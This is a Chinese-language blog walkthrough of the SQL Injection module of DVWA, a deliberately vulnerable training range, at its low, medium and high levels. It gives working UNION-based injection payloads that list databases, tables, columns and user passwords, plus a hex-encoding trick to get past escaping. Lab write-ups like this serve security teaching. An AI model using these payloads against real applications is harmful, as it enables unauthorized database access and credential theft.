DVWA-SQL注入(SQL Injection)低/中/高级别

DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤

SQL Injection-low级别

SQL注入的low级别需要我们输入用户的ID作为参数,后端的SQL语句根据用户ID查询用户的信息并返回,执行SQL之前并没有过滤,源码如下

 

我们输入一个正确的用户ID : 1 , 发现输入的参数拼接到了url地址栏中,由此推断,此关卡使用的请求方式为GET请求,我们直接在输入框中构造payload即可,查询到的用户信息回显到了页面中,可以尝试联合注入

DVWA-SQL注入(SQL Injection)低/中/高级别_第1张图片

 接下来测试注入点,输入 1' and true # 使SQL恒成立,页面正常显示了查询到的用户数据,再输入 1' and false # 使SQL恒不成立,页面空显示,即没有查到用户的数据,由此推断出用户输入的参数会影响SQL的语法结构,从而影响SQL的执行结果,即存在SQL注入,并且注入点为单引号字符型注入

DVWA-SQL注入(SQL Injection)低/中/高级别_第2张图片

 

 

 

确认注入点以后,我们使用联合注入构造payload,获取所有数据库

-1' union select 1,(select group_concat(schema_name) 
from information_schema.schemata) #

DVWA-SQL注入(SQL Injection)低/中/高级别_第3张图片

 获取所有表

-1' union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema='dvwa') #

DVWA-SQL注入(SQL Injection)低/中/高级别_第4张图片

 

获取所有字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

DVWA-SQL注入(SQL Injection)低/中/高级别_第5张图片

 

获取数据

-1' union select 1,(select group_concat(user,password) from dvwa.users) #

DVWA-SQL注入(SQL Injection)低/中/高级别_第6张图片

 

SQL Injection-medium中级别

medium级别使用下拉框提交数据,请求方式为POST请求,需要抓包来修改提交的参数

根据输入的用户ID查询用户信息并在页面中回显,有显示位,可以使用联合注入

执行SQL之前,使用mysqli_real_escape_string()函数转译了特殊字符,可以使用Hex()编译绕过,源码如下

DVWA-SQL注入(SQL Injection)低/中/高级别_第7张图片

DVWA-SQL注入(SQL Injection)低/中/高级别_第8张图片

 

使用抓包软件拦截POST请求,修改参数,使用联合注入构造payload,获取所有数据库

-1 union select 1,(select group_concat(schema_name) 
from information_schema.schemata) -- a

DVWA-SQL注入(SQL Injection)低/中/高级别_第9张图片

DVWA-SQL注入(SQL Injection)低/中/高级别_第10张图片

 

使用MySQL的Hex函数编译需要查询的表名,并在结果前面加上0x,从而绕过特殊字符转译,获取表

mysql> select Hex('dvwa');

DVWA-SQL注入(SQL Injection)低/中/高级别_第11张图片

 

-1 union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema=0x64767761) -- a

 

将表名也使用MySQL的Hex()转译,获取所有字段

DVWA-SQL注入(SQL Injection)低/中/高级别_第12张图片

 注意:post请求的内容中不要换行

-1 union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema=0x64767761 and table_name=0x7573657273) -- a

DVWA-SQL注入(SQL Injection)低/中/高级别_第13张图片

 

SQL Injection-hign高级别

hign级别将参数保存到session中,在输入框直接构造payload即可

后端代码从session中获取用户输入的参数,并根据用户ID获取用户信息并回显到页面中,有回显,可以使用联合注入,并且执行SQL之前没有对用户输入的参数进行过滤,源码如下

 

 

获取数据库

-1' union select 1,(select group_concat(schema_name) 
from information_schema.schemata) #

DVWA-SQL注入(SQL Injection)低/中/高级别_第14张图片

 

获取表

-1' union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema='dvwa') #

DVWA-SQL注入(SQL Injection)低/中/高级别_第15张图片

 

获取字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

DVWA-SQL注入(SQL Injection)低/中/高级别_第16张图片

 

你可能感兴趣的:(SQL注入漏洞,网络安全,渗透测试)